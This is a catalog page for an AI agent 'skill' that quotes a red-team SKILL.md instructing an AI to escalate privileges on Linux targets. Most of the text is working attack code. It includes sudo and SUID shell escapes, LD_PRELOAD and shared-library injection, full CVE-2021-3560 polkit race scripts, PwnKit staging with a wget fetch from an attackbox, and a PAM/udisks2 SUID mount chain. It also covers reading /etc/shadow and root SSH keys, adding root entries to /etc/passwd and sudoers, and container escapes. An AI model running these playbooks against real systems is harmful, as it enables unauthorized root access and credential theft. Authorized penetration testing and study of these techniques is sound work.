Linux Sudo, SUID, and Capabilities Exploitation
SkillSecurityExploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation.
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the Linux Sudo, SUID, and Capabilities Exploitation skill
What this skill tells your AI
The instructions your AI receives, as published by blacklanternsecurity/red-run in skills/privesc/linux-sudo-suid-capabilities/SKILL.md and read by ahel’s review.
You are helping a penetration tester exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[linux-sudo-suid-capabilities] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Shell access on Linux target
- At least one of: sudo permissions, SUID binary, binary with capabilities
- Knowledge of target OS version (for CVE matching)
Step 1: Assess Sudo Configuration
If not already provided by linux-discovery, enumerate:
sudo -l 2>/dev/null
sudo -V 2>/dev/null | head -1
cat /etc/doas.conf 2>/dev/null
Classify findings and proceed to the relevant subsection below.
Step 2: Sudo NOPASSWD Exploitation
GTFOBins Binaries
If sudo -l shows (root) NOPASSWD: /path/to/binary, check GTFOBins for the binary.
Common sudo escapes (highest priority):
# Editors
sudo vim -c ':!bash'
sudo vi -c ':!bash'
sudo nano # Ctrl+R → Ctrl+X → command
# Pagers
sudo less /etc/hosts # then type: !bash
sudo more /etc/hosts # then type: !bash
sudo man man # then type: !bash
# Interpreters
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash"'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo php -r 'system("/bin/bash");'
sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
# File utilities
sudo find /tmp -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo sed -n '1e exec bash 1>&0' /etc/hosts
sudo ed # then type: !bash
# Archive utilities
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /tmp/x -T -TT 'bash #'
# Network tools
sudo ftp # then type: !bash
sudo nmap --interactive # (old nmap) then type: !sh
sudo mysql -e '\! bash'
sudo socat stdin exec:/bin/bash
# System tools
sudo env /bin/bash
sudo strace -o /dev/null /bin/bash
sudo ltrace -o /dev/null /bin/bash
sudo gdb -nx -ex '!bash' -ex quit
sudo taskset 1 /bin/bash
# File read/write (for credential theft if no shell escape)
sudo cat /etc/shadow
sudo tee /etc/passwd <<< 'root2:$1$salt$hash:0:0::/root:/bin/bash'
sudo cp /etc/shadow /tmp/shadow_copy
sudo dd if=/etc/shadow of=/tmp/shadow_copy
Sudo with Password (NOPASSWD not set)
If user has sudo access but needs a password, check for:
- Known password from engagement state
- Password reuse from other services
- Sudo token reuse (see sudo_inject below)
Sudo with Specific Arguments
If sudo allows specific arguments (e.g., sudo /usr/bin/vim /etc/config):
- Editor escape still works:
sudo vim /etc/config→:!bash - For restricted commands, check if argument injection is possible
Step 3: Sudo Environment Variable Abuse
LD_PRELOAD Injection
Prerequisite: sudo -l shows env_keep += LD_PRELOAD or SETENV: tag.
// preload.c — compile on target or transfer
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}
# Compile and exploit
gcc -fPIC -shared -o /tmp/preload.so preload.c -nostartfiles
sudo LD_PRELOAD=/tmp/preload.so <any_allowed_binary>
LD_LIBRARY_PATH Injection
Prerequisite: sudo -l shows env_keep += LD_LIBRARY_PATH.
# Find shared libraries used by the sudo-allowed binary
ldd /path/to/allowed_binary
# Create malicious library with same name
gcc -fPIC -shared -o /tmp/libfoo.so preload.c -nostartfiles
# Execute with hijacked library path
sudo LD_LIBRARY_PATH=/tmp /path/to/allowed_binary
PYTHONPATH / PERL5LIB Injection
Prerequisite: sudo -l shows SETENV: and binary calls Python/Perl.
# Python library hijack
mkdir /tmp/pylib
cat > /tmp/pylib/os.py << 'EOF'
import subprocess
subprocess.call(["/bin/bash", "-p"])
EOF
sudo PYTHONPATH=/tmp/pylib /usr/bin/python_script.py
BASH_ENV Injection
Prerequisite: env_keep += BASH_ENV and command runs via bash.
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/evil.sh
sudo BASH_ENV=/tmp/evil.sh /path/to/allowed_command
/tmp/rootbash -p
Step 4: Sudo CVE Exploitation
CVE-2021-3156 (Baron Samedit) — Heap Overflow
Affected: sudo 1.8.2 through 1.9.5p1 (patched in 1.9.5p2).
MANDATORY — Verify before exploiting. Distro backports frequently patch sudo without changing the version string. Do NOT skip this step even if the version appears vulnerable.
# Step 1: Check version
sudo -V | grep "Sudo version"
# Step 2: MANDATORY verification (does NOT exploit, just confirms)
sudoedit -s '\' $(python3 -c 'print("A"*65536)') 2>&1
# Vulnerable: segfault, memory corruption, "malloc(): corrupted..."
# Patched: "usage: sudoedit" error message
#
# If you see "usage:" → STOP. This build is patched. Do not waste time
# downloading or compiling exploits. Check CVE-2021-3560 (polkit) or
# other vectors instead.
If verification confirms vulnerability, proceed with exploitation. Public exploits exist per distribution — match the target OS and use the correct variant.
Exploit transfer — attackbox-first workflow: Targets often lack internet
access (CTF, air-gapped labs). Never git clone on target. Instead:
- Download/compile exploit on attackbox for target architecture
- Transfer via SSH (SCP, SFTP, paramiko) or base64 encode/decode
- Alternatively, write exploit source as a heredoc and compile on target
# Exploits (multiple variants by OS — download on ATTACKBOX first):
# https://github.com/blasty/CVE-2021-3156
# https://github.com/worawit/CVE-2021-3156
CVE-2019-14287 — User ID Bypass
Prerequisite: sudo -l shows (ALL, !root) /bin/bash or similar restriction
excluding root.
# The !root restriction can be bypassed with UID -1
sudo -u#-1 /bin/bash
sudo -u#4294967295 /bin/bash
# Both resolve to UID 0 (root)
Sudo Token Reuse (sudo_inject)
Prerequisite: ptrace_scope = 0, user has valid sudo session token.
# Check ptrace scope
cat /proc/sys/kernel/yama/ptrace_scope # Must be 0
# Check for sudo token files
ls -la /run/sudo/ts/$(whoami) 2>/dev/null || ls -la /var/run/sudo/ts/$(whoami) 2>/dev/null
# If sudo token exists and ptrace allows:
# https://github.com/nongiach/sudo_inject
# Creates invalid token → next sudo -i requires no password
CVE-2021-3560 — Polkit D-Bus Authentication Bypass
Affected: polkit < 0.117 (common on CentOS 8, RHEL 8, Ubuntu 20.04).
Creates a privileged user account by exploiting a race condition in polkitd's D-Bus message handling. When a D-Bus request is killed mid-flight (after polkitd starts processing but before it replies), polkitd treats the absent reply as "authorized."
Prerequisites:
# All four must be true:
rpm -q polkit 2>/dev/null || dpkg -l policykit-1 2>/dev/null # polkit < 0.117
rpm -q accountsservice 2>/dev/null || dpkg -l accountsservice 2>/dev/null # installed
which dbus-send 2>/dev/null # available
ps aux | grep polkit # polkitd running
Phase 1 — Create privileged user via D-Bus race condition:
NEW_USER="youruser"
NEW_FULLNAME="Your Name"
# Generate password hash for the new account
NEW_PASS='YourPassword123!'
HASH=$(openssl passwd -6 "$NEW_PASS" 2>/dev/null)
# Race loop: send CreateUser request and kill it mid-authorization
# int32:1 = administrator (wheel/sudo group)
for i in $(seq 1 100); do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply /org/freedesktop/Accounts \
org.freedesktop.Accounts.CreateUser \
string:"$NEW_USER" string:"$NEW_FULLNAME" int32:1 &
PID=$!
# Timing is critical — 0.005s to 0.015s covers most systems
# Start at 0.008s; adjust if needed
sleep 0.008s
kill $PID 2>/dev/null
wait $PID 2>/dev/null
if id "$NEW_USER" &>/dev/null; then
echo "[+] User created on attempt $i"
break
fi
done
# Verify user was created with admin group
id "$NEW_USER"
Phase 2 — Set password via D-Bus race condition:
# Get the new user's D-Bus object path
USER_PATH=$(dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply /org/freedesktop/Accounts \
org.freedesktop.Accounts.FindUserByName \
string:"$NEW_USER" 2>/dev/null | grep "object path" | cut -d'"' -f2)
echo "[*] User D-Bus path: $USER_PATH"
# Same race condition to set password
for i in $(seq 1 100); do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply "$USER_PATH" \
org.freedesktop.Accounts.User.SetPassword \
string:"$HASH" string:"" &
PID=$!
sleep 0.008s
kill $PID 2>/dev/null
wait $PID 2>/dev/null
done
Phase 3 — Verify and escalate:
# Switch to new user and verify sudo
su - "$NEW_USER" -c "echo '$NEW_PASS' | sudo -S id"
# Expected: uid=0(root) gid=0(root) groups=0(root)
# Get root shell
su - "$NEW_USER"
# Then: sudo -i (or echo password | sudo -S bash)
Timing calibration: The sleep value (0.008s) is timing-dependent. If the exploit fails after 100 attempts:
- Try 0.005s (faster systems, VMs with low latency)
- Try 0.012s (slower systems, remote SSH)
- Try 0.003s (very fast local systems)
- Run multiple rounds with different timings
The race typically succeeds within 20-50 attempts on most systems. If user creation works but password setting fails (or vice versa), adjust timing for each phase independently.
Remote execution via SSH (paramiko/sshpass): When automating over SSH,
write the exploit as a bash script, transfer it via SFTP or heredoc, then
execute. The race condition timing works the same over SSH — the sleep and
kill happen on the target, not the attackbox.
Troubleshooting:
Error org.freedesktop.Accounts.Error.PermissionDeniedon every attempt → polkitd may be patched or not running. Checksystemctl status polkit.- User created but not in wheel/sudo group → the
int32:1flag sets administrator. Verify withid username. If not admin, the race lost on the group assignment — delete user and retry. - Password not set (su fails) → the SetPassword race is harder to win. Try
more attempts (200+) or different timing. Verify the hash is correct:
grep username /etc/shadow. dbus-sendnot found → installdbuspackage or check/usr/bin/gdbusas alternative.
CVE-2021-4034 (PwnKit) — pkexec Argument Handling
Affected: polkit pkexec < 0.120 (present on most Linux distros before Jan 2022).
pkexec mishandles argc=0 invocations, allowing arbitrary code execution as root through GCONV_PATH environment variable manipulation. Requires pkexec to have the SUID bit set (default on virtually all installations).
Verification:
# Check pkexec is SUID
ls -la /usr/bin/pkexec
# Expected: -rwsr-xr-x root root
# Check polkit version
dpkg -l policykit-1 2>/dev/null || rpm -q polkit 2>/dev/null
# Vulnerable: < 0.120 (Debian/Ubuntu), < 0.120 (RHEL/CentOS)
Exploitation:
PwnKit requires staging files in a directory where the SUID process can
execute shared libraries. /tmp is often mounted noexec on hardened systems.
# Step 1: Find an exec-capable staging directory
# Try these in order — first writable+exec wins:
for d in /dev/shm /var/tmp /run/lock "$HOME" /opt; do
mount | grep -q "$(df "$d" 2>/dev/null | tail -1 | awk '{print $1}').*noexec" && continue
[ -w "$d" ] && echo "[+] $d is writable and exec-capable" && break
done
# Step 2: Stage exploit in the chosen directory
cd /dev/shm # or whichever directory passed
mkdir -p pwnkit_work && cd pwnkit_work
Exploit transfer — attackbox-first workflow:
Public PwnKit exploits:
- https://github.com/ly4k/PwnKit (self-contained C, static compilation)
- https://github.com/berdav/CVE-2021-4034 (Makefile-based)
# On ATTACKBOX: download and compile static binary
git clone https://github.com/ly4k/PwnKit /tmp/pwnkit
cd /tmp/pwnkit && make
# Or compile static: gcc -static -o pwnkit PwnKit.c
# Transfer to target
python3 -m http.server 8080 &
# On TARGET:
wget http://ATTACKBOX:8080/pwnkit -O /dev/shm/pwnkit_work/pwnkit
chmod +x /dev/shm/pwnkit_work/pwnkit
# Step 3: Execute
cd /dev/shm/pwnkit_work
./pwnkit
# Expected: root shell
id
# uid=0(root) gid=0(root)
If /tmp is noexec: This is the most common PwnKit failure. The GCONV_PATH trick requires the exploit's shared library to be dlopen'd by pkexec (a SUID process). SUID processes ignore LD_PRELOAD, so the .so MUST be on an exec-capable filesystem. Use /dev/shm, /var/tmp, or a home directory instead. Never attempt LD_PRELOAD workarounds — they do not work with SUID binaries and risk destabilizing the target.
If no exec-capable writable directory exists: PwnKit is blocked. Return to
orchestrator with assessment: blocked — no exec-capable staging directory for GCONV_PATH .so. The orchestrator may route to linux-kernel-exploits for
DirtyCow/DirtyPipe or other vectors that don't require shared library loading.
Step 4b: PAM Environment Injection + Polkit Active Session Bypass
When linux-discovery reports user_readenv=1 in PAM config and polkit
allow_active=yes on privileged actions, this chain escalates an SSH session to
perform operations that normally require physical console presence.
How It Works
pam_env.sowithuser_readenv=1reads~/.pam_environmentduring the auth stack — beforepam_systemd.soruns in the session stack- Injecting
XDG_SEATandXDG_VTNRtrickspam_systemdinto registering the SSH session as a physical console session (Active=yes) - Polkit policies with
allow_active=yesnow grant access without authentication udisksctl loop-setup+Filesystem.Resize/Checktriggers a temporary mount via libblockdev at/tmp/blockdev.XXXXXXwithout nosuid flags- A SUID root binary in the mounted filesystem executes with
euid=0
Prerequisites
- SSH access as any user
pam_env.soconfigured withuser_readenv=1(default on SUSE/openSUSE)udisks2+libblockdevinstalled (default on most desktop-oriented installs)- Polkit
allow_active=yeson udisks2 loop-setup and filesystem operations xfsprogson attackbox (for building the XFS image)
Step 1: Verify PAM Configuration
grep -r "user_readenv" /etc/pam.d/ 2>/dev/null
# Look for: pam_env.so user_readenv=1
If user_readenv=1 is NOT present, this technique does not apply.
Step 2: Inject Session Properties
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF
Disconnect the SSH session (exit), then reconnect. The new session will be registered as Active.
Step 3: Verify Active Session
loginctl show-session "$XDG_SESSION_ID" | grep -E "Active|State|Seat"
# Expected: Active=yes, State=active, Seat=seat0
If Active=no, check that ~/.pam_environment was written correctly and that
you fully disconnected and reconnected (not just opened a new channel on the
same SSH connection).
Step 4: Build Malicious Filesystem Image (on attackbox)
Build an XFS image containing a SUID root bash binary. This requires root on the attackbox.
# Get bash from target for glibc compatibility
scp user@TARGET:/bin/bash /tmp/target-bash
# Create XFS image
dd if=/dev/zero of=./suid.image bs=1M count=300
mkfs.xfs -f ./suid.image
mkdir -p /tmp/suid-mount
mount -t xfs ./suid.image /tmp/suid-mount
cp /tmp/target-bash /tmp/suid-mount/bash
chown root:root /tmp/suid-mount/bash
chmod 04555 /tmp/suid-mount/bash
umount /tmp/suid-mount
# Transfer to target
scp ./suid.image user@TARGET:~/suid.image
Step 5: Exploit UDisks2 Nosuid Mount Race
On target (with Active=yes session):
# Kill gvfs-udisks2-volume-monitor if running (can interfere)
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null || true
# Create loop device (no auth prompt thanks to Active=yes)
udisksctl loop-setup --file ~/suid.image --no-user-interaction
# Note the device path (e.g., /dev/loop0)
# Start background catcher — races to exec SUID bash from temp mount
(while true; do
for d in /tmp/blockdev*/; do
[ -x "${d}bash" ] && exec "${d}bash" -p -c 'echo "[+] GOT ROOT"; id; exec bash -p'
done
sleep 0.01
done) &
CATCHER_PID=$!
# Trigger nosuid-less temporary mount via XFS resize
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 'a{sv}'
# If Resize errors, try Check instead:
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Check 'a{sv}'
# Wait and check
sleep 2
ls -la /tmp/blockdev*/bash 2>/dev/null
# Execute SUID bash directly if catcher didn't fire
/tmp/blockdev*/bash -p
# Expected: euid=0(root)
The -p flag is critical — without it, bash drops the elevated euid.
Troubleshooting
- "Not authorized" from udisksctl:
Active=yesdidn't take effect. Verify withloginctl show-session. Ensure you fully disconnected and reconnected SSH. - Race doesn't land: The mount window is milliseconds. Retry 3-5 times. Kill
the catcher (
kill $CATCHER_PID), delete the loop device (udisksctl loop-delete --block-device /dev/loop0 --no-user-interaction), and repeat from loop-setup. - Loop device is loop1/loop2: Adjust the gdbus object path to match (e.g.,
/org/freedesktop/UDisks2/block_devices/loop1). - No /tmp/blockdev appears*: libblockdev may use a different temp path. Check
/proc/mountswhile triggering Resize/Check. A compiled C catcher monitoring/proc/mountsin a tight loop is more reliable than the bash approach. - udisksctl not found: udisks2 not installed. This technique does not apply.
Cleanup
rm ~/.pam_environment
kill $CATCHER_PID 2>/dev/null
udisksctl loop-delete --block-device /dev/loop0 --no-user-interaction 2>/dev/null
rm ~/suid.image
Step 5: SUID Binary Exploitation
Enumeration
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null # SGID
GTFOBins SUID Exploitation
Same escapes as sudo but binary runs as owner (usually root). Key difference:
bash drops privileges unless -p flag is used.
# If /usr/bin/python3 has SUID bit
/usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
# If /usr/bin/find has SUID bit
/usr/bin/find . -exec /bin/bash -p \;
# If /usr/bin/vim has SUID bit
/usr/bin/vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'
# If /usr/bin/bash has SUID bit
/usr/bin/bash -p
# If /usr/bin/cp has SUID bit — overwrite /etc/passwd
# Generate password hash: openssl passwd -1 -salt xyz password123
# Add line: root2:$1$xyz$hashhere:0:0:root:/root:/bin/bash
/usr/bin/cp /tmp/modified_passwd /etc/passwd
Custom SUID Binary Analysis
For non-standard SUID binaries not in GTFOBins:
# Analyze the binary
strings /path/to/suid_binary | grep -iE "system|exec|popen|/bin|/tmp"
strace /path/to/suid_binary 2>&1 | grep -E "exec|open|access"
ltrace /path/to/suid_binary 2>&1 | grep -E "system|exec|popen"
Exploitation patterns:
- Calls
system()with relative path → PATH hijack:
# If binary calls system("service apache2 restart")
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid_binary
- Loads shared object from writable path → .so injection:
# Check for missing libraries
ldd /path/to/suid_binary | grep "not found"
# Or check RPATH/RUNPATH
readelf -d /path/to/suid_binary | grep -E "RPATH|RUNPATH"
// exploit.c — shared object with constructor
#include <stdlib.h>
void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
gcc -fPIC -shared -o /path/to/missing_lib.so exploit.c
/path/to/suid_binary # triggers library load → root shell
- Reads/writes files as root → read /etc/shadow or write /etc/passwd
SGID Exploitation
# SGID binary runs with group of file owner
# If SGID binary belongs to 'shadow' group → read /etc/shadow
# If SGID binary belongs to 'docker' group → Docker socket access
# Impersonate group via Python SGID binary
python3 -c 'import os; os.setgid(42); os.system("/bin/bash")' # 42 = shadow
Step 6: Linux Capabilities Exploitation
CAP_SETUID — Direct Root
# Any binary with cap_setuid+ep → immediate root
# Python
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash"'
# Node.js
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
# Ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
# PHP
php -r 'posix_setuid(0); system("/bin/bash");'
# Custom C binary
# If gcc and cap_setuid binary available:
# Compile: int main(){setuid(0);setgid(0);system("/bin/bash -p");}
CAP_SETGID — Group Escalation
# Impersonate shadow group to read /etc/shadow
python3 -c 'import os; os.setgid(42); os.system("cat /etc/shadow")'
# Impersonate root group
python3 -c 'import os; os.setgid(0); os.system("/bin/bash")'
CAP_DAC_OVERRIDE — Bypass Write Permissions
Binary can write to any file regardless of permissions.
# Append to /etc/sudoers
python3 -c '
f = open("/etc/sudoers", "a")
f.write("\nUSERNAME ALL=(ALL) NOPASSWD:ALL\n")
f.close()
'
# Overwrite /etc/passwd with root user
python3 -c '
import crypt
password = crypt.crypt("password123", "$6$salt")
line = f"root2:{password}:0:0:root:/root:/bin/bash\n"
with open("/etc/passwd", "a") as f:
f.write(line)
'
CAP_DAC_READ_SEARCH — Read Any File
# Read /etc/shadow directly
python3 -c 'print(open("/etc/shadow").read())'
# Read SSH private keys
python3 -c 'print(open("/root/.ssh/id_rsa").read())'
# Tar-based extraction (if tar has the capability)
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
Container escape (shocker exploit): Binary with cap_dac_read_search can use
open_by_handle_at() to access host filesystem from within a container. Use the
shocker exploit C code.
CAP_SYS_ADMIN — Mount and Namespace Abuse
# Mount host disk (container escape)
fdisk -l # Find host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
# Mount overlay to replace /etc/passwd
python3 -c '
from ctypes import CDLL
libc = CDLL("libc.so.6")
libc.mount.argtypes = [c_char_p, c_char_p, c_char_p, c_ulong, c_char_p]
libc.mount(b"/tmp/fake_passwd", b"/etc/passwd", b"none", 4096, b"rw") # MS_BIND=4096
'
CAP_SYS_PTRACE — Process Injection
Shortened here. Read the whole file on GitHub.
Signals
- GitHub stars
- 271
- Forks
- 38
- Last commit
- Apr 2026
Advanced
- Catalog kind
- skill
- Gateway key
linux-sudo-suid-capabilities- Source
- github.com/blacklanternsecurity/red-run